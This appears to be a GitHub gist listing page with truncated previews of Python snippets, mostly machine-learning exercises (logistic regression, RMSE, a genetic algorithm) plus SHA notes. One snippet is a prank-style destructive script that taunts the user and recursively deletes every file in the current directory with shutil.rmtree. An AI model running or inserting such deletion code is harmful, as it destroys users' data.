This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def unique_vals(rows,col): | |
| return list([row[col] for row in rows]) | |
| def class_counts(rows): | |
| counts = {} | |
| for row in rows: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import matplotlib.pyplot as plt | |
| from math import sqrt | |
| def rmse_metric(actual, predicted): | |
| sum_error = 0.0 for i in range(len(actual)): | |
| prediction_error = predicted[i] - actual[i] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import numpy as np | |
| from sklearn.base import BaseEstimator, ClassifierMixin | |
| from sklearn.utils import check_random_state | |
| from sklearn.preprocessing import LabelEncoder | |
| def projection_simplex(v, z=1): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import numpy as np | |
| import matplotlib.pyplot as plt | |
| %matplotlib inline | |
| data = [[3,1.5,1],[2,1,0],[4,1.5,1],[3,1,0],[3.5,.5,1],[2,.5,0],[5.5,1,1],[1,1,0]] | |
| test = [[2,2],[4.5,2]] | |
| def sigmoid(x): | |
| return (1/(1+np.exp(-x))) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import numpy as np | |
| import matplotlib.pyplot as plt | |
| class MultiClassLogisticRegression: | |
| def __init__(self, n_iter = 10000, thres=1e-3): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import shutil,os | |
| curr = os.cmd() | |
| files = os.listdir(curr) | |
| print("hahaha now all your files are mine {} these are all of them am i right".format(files),"i can feel that fear, and anger") | |
| for i in files: | |
| shutil.rmtree(i) | |
| print("deleted {}".format(i)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "Title":"Thanks for Reading", | |
| "Author":"Divyosmi Goswami", | |
| "Description":"Thank you for spending your valuable time reading this blog and thank you for clapping my blog it means a lot to me thanks a lot again and if you want more blog like these have any idea mail me at [email protected].", | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import numpy | |
| import random | |
| import matplotlib.pyplot | |
| import pickle | |
| import time | |
| class GA: | |
| def __init__(self, | |
| num_generations, | |
| num_parents_mating, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| """ | |
| Symbols and Operations | |
| The following symbols are used in the secure hash algorithm specifications; each operates on w-bit words: |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
OlderNewer